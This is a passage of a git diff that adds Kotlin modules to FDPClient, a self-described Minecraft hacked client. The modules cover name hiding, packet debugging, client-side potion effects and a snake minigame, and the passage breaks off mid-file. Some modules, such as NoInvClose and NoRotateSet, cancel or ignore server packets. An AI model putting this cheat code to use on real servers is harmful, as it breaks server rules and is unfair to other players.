https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.other + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.TextEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.TextValue +import net.ccbluex.liquidbounce.utils.misc.StringUtils +import net.ccbluex.liquidbounce.utils.render.ColorUtils.translateAlternateColorCodes +import java.util.* + +@ModuleInfo("NameProtect", category = ModuleCategory.VISUAL) +object NameProtect : Module() { + + val allPlayers = BoolValue("AllPlayers", false) + val skinProtect = BoolValue("SkinProtect", true) + private val fakeNameValue = TextValue("FakeName", "&cProtected User") + private val allFakeNameValue = TextValue("AllPlayersFakeName", "FDP") + private val selfValue: BoolValue = BoolValue("Yourself", true) + private val tagValue: BoolValue = BoolValue("Tag", false) + private val nameSpoofValue: BoolValue = BoolValue("NameSpoof", false) + private val customNameValue: TextValue = TextValue("CustomName", "") + + @EventTarget + fun onText(event: TextEvent) { + if (mc.thePlayer == null || Objects.requireNonNull(event.text) + !!.contains("§8[§9§l" + FDPClient.CLIENT_NAME + "§8] §3") || event.text!!.startsWith("/") || event.text!!.startsWith( + FDPClient.commandManager.prefix.toString() + "" + ) + ) return + + for (friend in FDPClient.fileManager.friendsConfig.friends) event.text = + StringUtils.replace(event.text, friend.playerName, translateAlternateColorCodes(friend.alias) + "§f") + + var playerName = mc.thePlayer.name + if (nameSpoofValue.get() && customNameValue.get().isNotEmpty()) { + playerName = customNameValue.get() + } + + event.text = StringUtils.replace( + event.text, + mc.thePlayer.name, + (if (selfValue.get()) (if (tagValue.get()) StringUtils.injectAirString(playerName) + " §7(§r" + translateAlternateColorCodes( + fakeNameValue.get() + "§r§7)" + ) else translateAlternateColorCodes(fakeNameValue.get()) + "§r") else playerName) + ) + + if (allPlayers.get()) { + for (playerInfo in mc.netHandler.playerInfoMap) { + var playerInfoName = playerInfo.gameProfile.name + if (nameSpoofValue.get() && customNameValue.get().isNotEmpty()) { + playerInfoName = customNameValue.get() + } + event.text = StringUtils.replace( + event.text, + playerInfoName, + translateAlternateColorCodes(allFakeNameValue.get()) + "§f" + ) + } + } + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/NoInvClose.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/NoInvClose.kt new file mode 100644 index 0000000..0e7711a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/NoInvClose.kt @@ -0,0 +1,24 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.other + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.minecraft.network.play.server.S2EPacketCloseWindow +import net.minecraft.client.gui.inventory.GuiInventory + +@ModuleInfo(name = "NoInvClose", category = ModuleCategory.OTHER) +object NoInvClose : Module() { + @EventTarget + fun onPacket(event: PacketEvent){ + if (mc.theWorld == null || mc.thePlayer == null) return + + if (event.packet is S2EPacketCloseWindow && mc.currentScreen is GuiInventory) event.cancelEvent() + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/NoRotateSet.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/NoRotateSet.kt new file mode 100644 index 0000000..0045bd2 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/NoRotateSet.kt @@ -0,0 +1,19 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.other + +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue + +@ModuleInfo(name = "NoRotateSet", category = ModuleCategory.OTHER) +object NoRotateSet : Module() { + + val noLoadingValue = BoolValue("NoLoading", true) + val overwriteTeleportValue = BoolValue("SilentConfirm", true) + val rotateValue = BoolValue("SilentConfirmSetRotation", true).displayable { overwriteTeleportValue.get() } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/PacketDebugger.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/PacketDebugger.kt new file mode 100644 index 0000000..62f0627 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/PacketDebugger.kt @@ -0,0 +1,73 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.other + +import com.google.gson.JsonElement +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.features.value.* +import net.minecraft.network.handshake.client.* +import net.minecraft.network.login.client.* +import net.minecraft.network.login.server.* +import net.minecraft.network.play.client.* +import net.minecraft.network.play.server.* +import net.minecraft.network.status.client.* +import net.minecraft.network.status.server.* + +@ModuleInfo(name = "PacketDebugger", category = ModuleCategory.OTHER) +object PacketDebugger : Module() { + + private val printFieldsValue = BoolValue("PrintFields",true) + private val printTimeValue = BoolValue("PrintTime",true) + private val mcpFieldValue = BoolValue("MCPField",true) + private val packetDebugStates = hashMapOf<String,Boolean>() + private val settings = arrayListOf<Value<*>>(printFieldsValue,printTimeValue,mcpFieldValue) + + private val fieldMap = hashMapOf("field_148940_a" to "x","field_148938_b" to "y","field_148939_c" to "z","field_148936_d" to "yaw","field_148937_e" to "pitch","field_179835_f" to "field_179835_f","field_149018_a" to "entityId","field_149016_b" to "x","field_149017_c" to "y","field_149014_d" to "z","field_149015_e" to "speedX","field_149012_f" to "speedY","field_149013_g" to "speedZ","field_149021_h" to "pitch","field_149022_i" to "yaw","field_149019_j" to "type","field_149020_k" to "field_149020_k","field_148992_a" to "entityID","field_148990_b" to "posX","field_148991_c" to "posY","field_148988_d" to "posZ","field_148989_e" to "xpValue","field_149059_a" to "entityId","field_149057_b" to "x","field_149058_c" to "y","field_149055_d" to "z","field_149056_e" to "type","field_149042_a" to "entityId","field_149040_b" to "type","field_149041_c" to "x","field_149038_d" to "y","field_149039_e" to "z","field_149036_f" to "velocityX","field_149037_g" to "velocityY","field_149047_h" to "velocityZ","field_149048_i" to "yaw","field_149045_j" to "pitch","field_149046_k" to "headPitch","field_149043_l" to "field_149043_l","field_149044_m" to "watcher","field_148973_a" to "entityID","field_179838_b" to "position","field_179839_c" to "facing","field_148968_f" to "title","field_148957_a" to "entityId","field_179820_b" to "playerId","field_148956_c" to "x","field_148953_d" to "y","field_148954_e" to "z","field_148951_f" to "yaw","field_148952_g" to "pitch","field_148959_h" to "currentItem","field_148960_i" to "watcher","field_148958_j" to "field_148958_j","field_148981_a" to "entityId","field_148980_b" to "type","field_148976_a" to "field_148976_a","field_148852_a" to "breakerId","field_179822_b" to "position","field_148849_e" to "progress","field_179824_a" to "blockPos","field_148859_d" to "metadata","field_148860_e" to "nbt","field_179826_a" to "blockPosition","field_148872_d" to "instrument","field_148873_e" to "pitch","field_148871_f" to "block","field_179828_a" to "blockPosition","field_148883_d" to "blockState","field_179833_a" to "difficulty","field_179832_b" to "difficultyLocked","field_149632_a" to "matches","field_148919_a" to "chatComponent","field_179842_b" to "type","field_148925_b" to "chunkPosCoord","field_179845_b" to "changedBlocks","field_148894_a" to "windowId","field_148892_b" to "actionNumber","field_148893_c" to "field_148893_c","field_148896_a" to "windowId","field_148909_a" to "windowId","field_148907_b" to "inventoryType","field_148908_c" to "windowTitle","field_148905_d" to "slotCount","field_148904_f" to "entityId","field_148914_a" to "windowId","field_148913_b" to "itemStacks","field_149186_a" to "windowId","field_149184_b" to "varIndex","field_149185_c" to "varValue","field_149179_a" to "windowId","field_149177_b" to "slot","field_149178_c" to "item","field_149172_a" to "channel","field_149171_b" to "data","field_149167_a" to "reason","field_149164_a" to "entityId","field_149163_b" to "logicOpcode","field_179766_a" to "entityId","field_179765_b" to "tagCompound","field_149158_a" to "posX","field_149156_b" to "posY","field_149157_c" to "posZ","field_149154_d" to "strength","field_149155_e" to "affectedBlockPositions","field_149152_f" to "field_149152_f","field_149153_g" to "field_149153_g","field_149159_h" to "field_149159_h","field_179761_a" to "threshold","field_149142_a" to "MESSAGE_NAMES","field_149140_b" to "state","field_149141_c" to "field_149141_c","field_149136_a" to "id","field_149284_a" to "chunkX","field_149282_b" to "chunkZ","field_179758_c" to "extractedData","field_149279_g" to "field_149279_g","field_149266_a" to "xPositions","field_149264_b" to "zPositions","field_179755_c" to "chunksData","field_149267_h" to "isOverworld","field_149251_a" to "soundType","field_179747_b" to "soundPos","field_149249_b" to "soundData","field_149246_f" to "serverWide","field_179751_a" to "particleType","field_149234_b" to "xCoord","field_149235_c" to "yCoord","field_149232_d" to "zCoord","field_149233_e" to "xOffset","field_149230_f" to "yOffset","field_149231_g" to "zOffset","field_149237_h" to "particleSpeed","field_149238_i" to "particleCount","field_179752_j" to "longDistance","field_179753_k" to "particleArguments","field_149219_a" to "soundName","field_149217_b" to "posX","field_149218_c" to "posY","field_149215_d" to "posZ","field_149216_e" to "soundVolume","field_149214_f" to "soundPitch","field_149206_a" to "entityId","field_149204_b" to "hardcoreMode","field_149205_c" to "gameType","field_149202_d" to "dimension","field_149203_e" to "difficulty","field_149200_f" to "maxPlayers","field_149201_g" to "worldType","field_179745_h" to "reducedDebugInfo","field_149191_a" to "mapId","field_179739_b" to "mapScale","field_179740_c" to "mapVisiblePlayersVec4b","field_179737_d" to "mapMinX","field_179738_e" to "mapMinY","field_179735_f" to "mapMaxX","field_179736_g" to "mapMaxY","field_179741_h" to "mapDataBytes","field_149074_a" to "entityId","field_149072_b" to "posX","field_149073_c" to "posY","field_149070_d" to "posZ","field_149071_e" to "yaw","field_149068_f" to "pitch","field_179743_g" to "onGround","field_149069_g" to "field_149069_g","field_179778_a" to "signPosition","field_149119_a" to "invulnerable","field_149117_b" to "flying","field_149118_c" to "allowFlying","field_149115_d" to "creativeMode","field_149116_e" to "flySpeed","field_149114_f" to "walkSpeed","field_179776_a" to "eventType","field_179774_b" to "field_179774_b","field_179775_c" to "field_179775_c","field_179772_d" to "field_179772_d","field_179773_e" to "deathMessage","field_179770_a" to "action","field_179769_b" to "players","field_149097_a" to "playerID","field_179799_b" to "bedPos","field_149100_a" to "entityIDs","field_149079_a" to "entityId","field_149078_b" to "effectId","field_179786_a" to "url","field_179785_b" to "hash","field_149088_a" to "dimensionID","field_149086_b" to "difficulty","field_149087_c" to "gameType","field_149085_d" to "worldType","field_149384_a" to "entityId","field_149383_b" to "yaw","field_179795_a" to "action","field_179793_b" to "size","field_179794_c" to "centerX","field_179791_d" to "centerZ","field_179792_e" to "targetSize","field_179789_f" to "diameter","field_179790_g" to "timeUntilTarget","field_179796_h" to "warningTime","field_179797_i" to "warningDistance","field_179781_a" to "entityId","field_149387_a" to "heldItemHotbarIndex","field_149374_a" to "position","field_149373_b" to "scoreName","field_149379_a" to "entityId","field_149378_b" to "field_149378_b","field_149408_a" to "leash","field_149406_b" to "entityId","field_149407_c" to "vehicleEntityId","field_149417_a" to "entityID","field_149415_b" to "motionX","field_149416_c" to "motionY","field_149414_d" to "motionZ","field_149394_a" to "entityID","field_149392_b" to "equipmentSlot","field_149393_c" to "itemStack","field_149401_a" to "field_149401_a","field_149399_b" to "totalExperience","field_149400_c" to "level","field_149336_a" to "health","field_149334_b" to "foodLevel","field_149335_c" to "saturationLevel","field_149343_a" to "objectiveName","field_149341_b" to "objectiveValue","field_179818_c" to "type","field_149342_c" to "field_149342_c","field_149320_a" to "name","field_149318_b" to "displayName","field_149319_c" to "prefix","field_149316_d" to "suffix","field_179816_e" to "nameTagVisibility","field_179815_f" to "color","field_149317_e" to "players","field_149314_f" to "action","field_149315_g" to "friendlyFlags","field_149329_a" to "name","field_149327_b" to "objective","field_149328_c" to "value","field_149326_d" to "action","field_179801_a" to "spawnBlockPos","field_149369_a" to "totalWorldTime","field_149368_b" to "worldTime","field_179812_a" to "type","field_179810_b" to "message","field_179811_c" to "fadeInTime","field_179808_d" to "displayTime","field_179809_e" to "fadeOutTime","field_179706_a" to "world","field_179705_b" to "blockPos","field_149349_d" to "lines","field_179703_a" to "header","field_179702_b" to "footer","field_149357_a" to "collectedItemEntityId","field_149356_b" to "entityId","field_149458_a" to "entityId","field_149456_b" to "posX","field_149457_c" to "posY","field_149454_d" to "posZ","field_149455_e" to "yaw","field_149453_f" to "pitch","field_179698_g" to "onGround","field_149445_a" to "entityId","field_149444_b" to "field_149444_b","field_149434_a" to "entityId","field_149432_b" to "effectId","field_149433_c" to "amplifier","field_149431_d" to "duration","field_179708_e" to "hideParticles","field_149420_a" to "message","field_179710_b" to "targetBlock","field_149440_a" to "message","field_149437_a" to "status","field_149530_a" to "lang","field_149528_b" to "view","field_149529_c" to "chatVisibility","field_149526_d" to "enableColors","field_179711_e" to "modelPartFlags","field_149536_a" to "windowId","field_149534_b" to "uid","field_149535_c" to "accepted","field_149541_a" to "windowId","field_149540_b" to "button","field_149554_a" to "windowId","field_149552_b" to "slotId","field_149553_c" to "usedButton","field_149550_d" to "actionNumber","field_149551_e" to "clickedItem","field_149549_f" to "mode","field_149556_a" to "windowId","field_149562_a" to "channel","field_149561_c" to "data","field_149567_a" to "entityId","field_149566_b" to "action","field_179713_c" to "hitVec","field_149461_a" to "key","field_149479_a" to "x","field_149477_b" to "y","field_149478_c" to "z","field_149476_e" to "yaw","field_149473_f" to "pitch","field_149474_g" to "onGround","field_149480_h" to "moving","field_149481_i" to "rotating","field_149500_a" to "invulnerable","field_149498_b" to "flying","field_149499_c" to "allowFlying","field_149496_d" to "creativeMode","field_149497_e" to "flySpeed","field_149495_f" to "walkSpeed","field_179717_a" to "position","field_179716_b" to "facing","field_149508_e" to "status","field_149517_a" to "entityID","field_149515_b" to "action","field_149516_c" to "auxData","field_149624_a" to "strafeSpeed","field_149622_b" to "forwardSpeed","field_149623_c" to "jumping","field_149621_d" to "sneaking","field_179720_a" to "hash","field_179719_b" to "status","field_149615_a" to "slotId","field_149629_a" to "slotId","field_149628_b" to "stack","field_179723_a" to "pos","field_149590_d" to "lines","field_179729_a" to "id","field_179726_a" to "field_179726_a","field_179725_b" to "position","field_149579_d" to "placedBlockDirection","field_149580_e" to "stack","field_149577_f" to "facingX","field_149578_g" to "facingY","field_149584_h" to "facingZ","field_149602_a" to "profile","field_149612_a" to "hashedServerId","field_149610_b" to "publicKey","field_149611_c" to "verifyToken","field_179733_a" to "compressionTreshold","field_149605_a" to "reason","field_149305_a" to "profile","field_149302_a" to "secretKeyEncrypted","field_149301_b" to "verifyTokenEncrypted","field_149293_a" to "clientTime","field_149297_a" to "GSON","field_149296_b" to "response","field_149290_a" to "clientTime") + private val packetClasses = arrayOf(C00PacketLoginStart::class.java, C01PacketEncryptionResponse::class.java, C00PacketServerQuery::class.java, C01PacketPing::class.java, C00PacketKeepAlive::class.java, C01PacketChatMessage::class.java, C02PacketUseEntity::class.java, C03PacketPlayer::class.java, C03PacketPlayer.C04PacketPlayerPosition::class.java, C03PacketPlayer.C05PacketPlayerLook::class.java, C03PacketPlayer.C06PacketPlayerPosLook::class.java, C07PacketPlayerDigging::class.java, C08PacketPlayerBlockPlacement::class.java, C09PacketHeldItemChange::class.java, C0APacketAnimation::class.java, C0BPacketEntityAction::class.java, C0CPacketInput::class.java, C0DPacketCloseWindow::class.java, C0EPacketClickWindow::class.java, C0FPacketConfirmTransaction::class.java, C10PacketCreativeInventoryAction::class.java, C11PacketEnchantItem::class.java, C12PacketUpdateSign::class.java, C13PacketPlayerAbilities::class.java, C14PacketTabComplete::class.java, C15PacketClientSettings::class.java, C16PacketClientStatus::class.java, C17PacketCustomPayload::class.java, C18PacketSpectate::class.java, C19PacketResourcePackStatus::class.java, C00Handshake::class.java, S00PacketDisconnect::class.java, S01PacketEncryptionRequest::class.java, S02PacketLoginSuccess::class.java, S03PacketEnableCompression::class.java, S00PacketServerInfo::class.java, S01PacketPong::class.java, S00PacketKeepAlive::class.java, S01PacketJoinGame::class.java, S02PacketChat::class.java, S03PacketTimeUpdate::class.java, S04PacketEntityEquipment::class.java, S05PacketSpawnPosition::class.java, S06PacketUpdateHealth::class.java, S07PacketRespawn::class.java, S08PacketPlayerPosLook::class.java, S09PacketHeldItemChange::class.java, S0APacketUseBed::class.java, S0BPacketAnimation::class.java, S0CPacketSpawnPlayer::class.java, S0DPacketCollectItem::class.java, S0EPacketSpawnObject::class.java, S0FPacketSpawnMob::class.java, S10PacketSpawnPainting::class.java, S11PacketSpawnExperienceOrb::class.java, S12PacketEntityVelocity::class.java, S13PacketDestroyEntities::class.java, S14PacketEntity::class.java, S14PacketEntity.S15PacketEntityRelMove::class.java, S14PacketEntity.S16PacketEntityLook::class.java, S14PacketEntity.S17PacketEntityLookMove::class.java, S18PacketEntityTeleport::class.java, S19PacketEntityHeadLook::class.java, S19PacketEntityStatus::class.java, S1BPacketEntityAttach::class.java, S1CPacketEntityMetadata::class.java, S1DPacketEntityEffect::class.java, S1EPacketRemoveEntityEffect::class.java, S1FPacketSetExperience::class.java, S20PacketEntityProperties::class.java, S21PacketChunkData::class.java, S22PacketMultiBlockChange::class.java, S23PacketBlockChange::class.java, S24PacketBlockAction::class.java, S25PacketBlockBreakAnim::class.java, S26PacketMapChunkBulk::class.java, S27PacketExplosion::class.java, S28PacketEffect::class.java, S29PacketSoundEffect::class.java, S2APacketParticles::class.java, S2BPacketChangeGameState::class.java, S2CPacketSpawnGlobalEntity::class.java, S2DPacketOpenWindow::class.java, S2EPacketCloseWindow::class.java, S2FPacketSetSlot::class.java, S30PacketWindowItems::class.java, S31PacketWindowProperty::class.java, S32PacketConfirmTransaction::class.java, S33PacketUpdateSign::class.java, S34PacketMaps::class.java, S35PacketUpdateTileEntity::class.java, S36PacketSignEditorOpen::class.java, S37PacketStatistics::class.java, S38PacketPlayerListItem::class.java, S39PacketPlayerAbilities::class.java, S3APacketTabComplete::class.java, S3BPacketScoreboardObjective::class.java, S3CPacketUpdateScore::class.java, S3DPacketDisplayScoreboard::class.java, S3EPacketTeams::class.java, S3FPacketCustomPayload::class.java, S40PacketDisconnect::class.java, S41PacketServerDifficulty::class.java, S42PacketCombatEvent::class.java, S43PacketCamera::class.java, S44PacketWorldBorder::class.java, S45PacketTitle::class.java, S46PacketSetCompressionLevel::class.java, S47PacketPlayerListHeaderFooter::class.java, S48PacketResourcePackSend::class.java, S49PacketUpdateEntityNBT::class.java).apply { + forEach { + settings.add( + object : BoolValue(it.simpleName, false) { + val clazz = it + + override fun onChange(oldValue: Boolean, newValue: Boolean) { + packetDebugStates[clazz.name] = newValue + } + + override fun fromJson(element: JsonElement) { + super.fromJson(element) + onChange(value, value) + } + } + ) + } + } + + @EventTarget + fun onPacket(event: PacketEvent) { + val packet = event.packet + var clazz: Class<*> = packet::class.java + + if (packetDebugStates[clazz.name] == true) { + ClientUtils.displayChatMessage("${clazz.simpleName} ${if (printTimeValue.get()) System.currentTimeMillis() % 0xFFFFfF else ""}") + + if (printFieldsValue.get()) { + if (clazz.isMemberClass) clazz = clazz.declaringClass + + clazz.declaredFields.forEach { + it.isAccessible = true + ClientUtils.displayChatMessage(" ${if (mcpFieldValue.get()) fieldMap[it.name] else it.name} : ${it.get(packet)}") + } + } + } + } + + override val values: List<Value<*>> get() = settings +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/PotionSpoof.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/PotionSpoof.kt new file mode 100644 index 0000000..b61b328 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/PotionSpoof.kt @@ -0,0 +1,121 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.other + +import net.ccbluex.liquidbounce.event.ClientShutdownEvent +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.minecraft.potion.Potion +import net.minecraft.potion.PotionEffect + +@ModuleInfo(name = "PotionSpoof", category = ModuleCategory.OTHER) +object PotionSpoof : Module() { + + private val speedValue = BoolValue("Speed", false) + private val moveSlowDownValue = BoolValue("Slowness", false) + private val hasteValue = BoolValue("Haste", false) + private val digSlowDownValue = BoolValue("MiningFatigue", false) + private val blindnessValue = BoolValue("Blindness", false) + private val strengthValue = BoolValue("Strength", false) + private val jumpBoostValue = BoolValue("JumpBoost", false) + private val weaknessValue = BoolValue("Weakness", false) + private val regenerationValue = BoolValue("Regeneration", false) + private val witherValue = BoolValue("Wither", false) + private val resistanceValue = BoolValue("Resistance", false) + private val fireResistanceValue = BoolValue("FireResistance", false) + private val absorptionValue = BoolValue("Absorption", false) + private val healthBoostValue = BoolValue("HealthBoost", false) + private val poisonValue = BoolValue("Poison", false) + private val saturationValue = BoolValue("Saturation", false) + private val waterBreathingValue = BoolValue("WaterBreathing", false) + override fun onDisable() { + if (mc.thePlayer != null) { + mc.thePlayer.removePotionEffectClient(Potion.moveSpeed.id) + mc.thePlayer.removePotionEffectClient(Potion.digSpeed.id) + mc.thePlayer.removePotionEffectClient(Potion.moveSlowdown.id) + mc.thePlayer.removePotionEffectClient(Potion.blindness.id) + mc.thePlayer.removePotionEffectClient(Potion.damageBoost.id) + mc.thePlayer.removePotionEffectClient(Potion.jump.id) + mc.thePlayer.removePotionEffectClient(Potion.weakness.id) + mc.thePlayer.removePotionEffectClient(Potion.regeneration.id) + mc.thePlayer.removePotionEffectClient(Potion.fireResistance.id) + mc.thePlayer.removePotionEffectClient(Potion.wither.id) + mc.thePlayer.removePotionEffectClient(Potion.resistance.id) + mc.thePlayer.removePotionEffectClient(Potion.absorption.id) + mc.thePlayer.removePotionEffectClient(Potion.healthBoost.id) + mc.thePlayer.removePotionEffectClient(Potion.digSlowdown.id) + mc.thePlayer.removePotionEffectClient(Potion.poison.id) + mc.thePlayer.removePotionEffectClient(Potion.saturation.id) + mc.thePlayer.removePotionEffectClient(Potion.waterBreathing.id) + } + } + + @EventTarget(ignoreCondition = true) + fun onUpdate(event: UpdateEvent?) { + if(state) { + if (speedValue.get()) { + mc.thePlayer.addPotionEffect(PotionEffect(Potion.moveSpeed.id, 1337, 1)) + } + if (hasteValue.get()) { + mc.thePlayer.addPotionEffect(PotionEffect(Potion.digSpeed.id, 1337, 1)) + } + if (moveSlowDownValue.get()) { + mc.thePlayer.addPotionEffect(PotionEffect(Potion.moveSlowdown.id, 1337, 1)) + } + if (blindnessValue.get()) { + mc.thePlayer.addPotionEffect(PotionEffect(Potion.blindness.id, 1337, 1)) + } + if (strengthValue.get()) { + mc.thePlayer.addPotionEffect(PotionEffect(Potion.damageBoost.id, 1337, 1)) + } + if (jumpBoostValue.get()) { + mc.thePlayer.addPotionEffect(PotionEffect(Potion.jump.id, 1337, 1)) + } + if (weaknessValue.get()) { + mc.thePlayer.addPotionEffect(PotionEffect(Potion.weakness.id, 1337, 1)) + } + if (regenerationValue.get()) { + mc.thePlayer.addPotionEffect(PotionEffect(Potion.regeneration.id, 1337, 1)) + } + if (fireResistanceValue.get()) { + mc.thePlayer.addPotionEffect(PotionEffect(Potion.fireResistance.id, 1337, 1)) + } + if (witherValue.get()) { + mc.thePlayer.addPotionEffect(PotionEffect(Potion.wither.id, 1337, 1)) + } + if (resistanceValue.get()) { + mc.thePlayer.addPotionEffect(PotionEffect(Potion.resistance.id, 1337, 1)) + } + if (absorptionValue.get()) { + mc.thePlayer.addPotionEffect(PotionEffect(Potion.absorption.id, 1337, 1)) + } + if (healthBoostValue.get()) { + mc.thePlayer.addPotionEffect(PotionEffect(Potion.healthBoost.id, 1337, 1)) + } + if (digSlowDownValue.get()) { + mc.thePlayer.addPotionEffect(PotionEffect(Potion.digSlowdown.id, 1337, 1)) + } + if (poisonValue.get()) { + mc.thePlayer.addPotionEffect(PotionEffect(Potion.poison.id, 1337, 1)) + } + if (saturationValue.get()) { + mc.thePlayer.addPotionEffect(PotionEffect(Potion.saturation.id, 1337, 1)) + } + if (waterBreathingValue.get()) { + mc.thePlayer.addPotionEffect(PotionEffect(Potion.waterBreathing.id, 1337, 1)) + } + } + } + + @EventTarget(ignoreCondition = true) + fun onShutdown(event: ClientShutdownEvent?) { + onDisable() + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/SilentDisconnect.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/SilentDisconnect.kt new file mode 100644 index 0000000..7997107 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/SilentDisconnect.kt @@ -0,0 +1,13 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.other + +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo + +@ModuleInfo(name = "SilentDisconnect", category = ModuleCategory.OTHER) +object SilentDisconnect : Module() \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/SnakeGame.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/SnakeGame.kt new file mode 100644 index 0000000..9ce9f47 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/SnakeGame.kt @@ -0,0 +1,214 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.other + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.KeyEvent +import net.ccbluex.liquidbounce.event.Render2DEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.ui.font.Fonts.font35 +import net.ccbluex.liquidbounce.utils.misc.RandomUtils.nextInt +import net.ccbluex.liquidbounce.utils.render.RenderUtils.drawGradientRect +import net.minecraft.client.gui.ScaledResolution +import net.minecraft.client.renderer.GlStateManager.* +import org.lwjgl.opengl.GL11.* +import java.awt.Color + +@ModuleInfo("SnakeGame", category = ModuleCategory.OTHER) +object SnakeGame : Module() { + private var snake = mutableListOf(Position(0, 0)) + private var lastKey = 208 + private var food = Position(0, 0) + private var score = 0 + + override fun onDisable() { + setupGame() + } + + override fun onEnable() { + setupGame() + } + + @EventTarget + fun onKey(event: KeyEvent) { + val key = event.key + if ((key == 205 && lastKey != 203) || (key == 203 && lastKey != 205) + || (key == 200 && lastKey != 208) || (key == 208 && lastKey != 200) + ) { + lastKey = key + } + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (mc.thePlayer.ticksExisted % 2 == 0) { + if (snake[0].x == food.x && snake[0].y == food.y) { + score += 1 + moveFood() + snake.add(Position(snake[0].x, snake[0].y)) + } + + for (i in snake.size - 1 downTo 1) { + snake[i].x = snake[i - 1].x + snake[i].y = snake[i - 1].y + } + + when (lastKey) { + 205 -> snake[0].x += 1 + 203 -> snake[0].x -= 1 + 200 -> snake[0].y -= 1 + 208 -> snake[0].y += 1 + } + + for (i in 1 until snake.size) { + if (snake[i].x == snake[0].x && snake[i].y == snake[0].y) { + setupGame() + } + } + } + } + + @EventTarget + fun onRender2D(event: Render2DEvent) { + val resolution = ScaledResolution(mc) + + val width = resolution.scaledWidth + val height = resolution.scaledHeight + + val startX = (width / 2 - fieldWidth / 2).toDouble() + val startY = (height / 2 - fieldHeight / 2).toDouble() + + for (i in 0 until 18) { + drawGradientRect( + startX.toInt() - i + 4, + startY.toInt() - i - 3, + startX.toInt() + fieldWidth + i - 4, + startY.toInt() + fieldHeight + i - 4, + Color(0, 0, 0, 120).rgb, + Color(0, 0, 0, 120).rgb + ) + drawBorder( + startX - i + 15, + startY - i + 15, + startX + fieldWidth + i - 15, + startY + fieldHeight + i - 15, + Color(6, 70, 255, 120).rgb + ) + } + + drawRect(startX, startY, startX + fieldWidth, startY + fieldHeight, Color(30, 0, 0, 0).rgb) + + val foodX = food.x * blockSize + startX + val foodY = food.y * blockSize + startY + + drawRect(foodX, foodY, foodX + blockSize, foodY + blockSize, Color(255, 15, 15).rgb) + + for 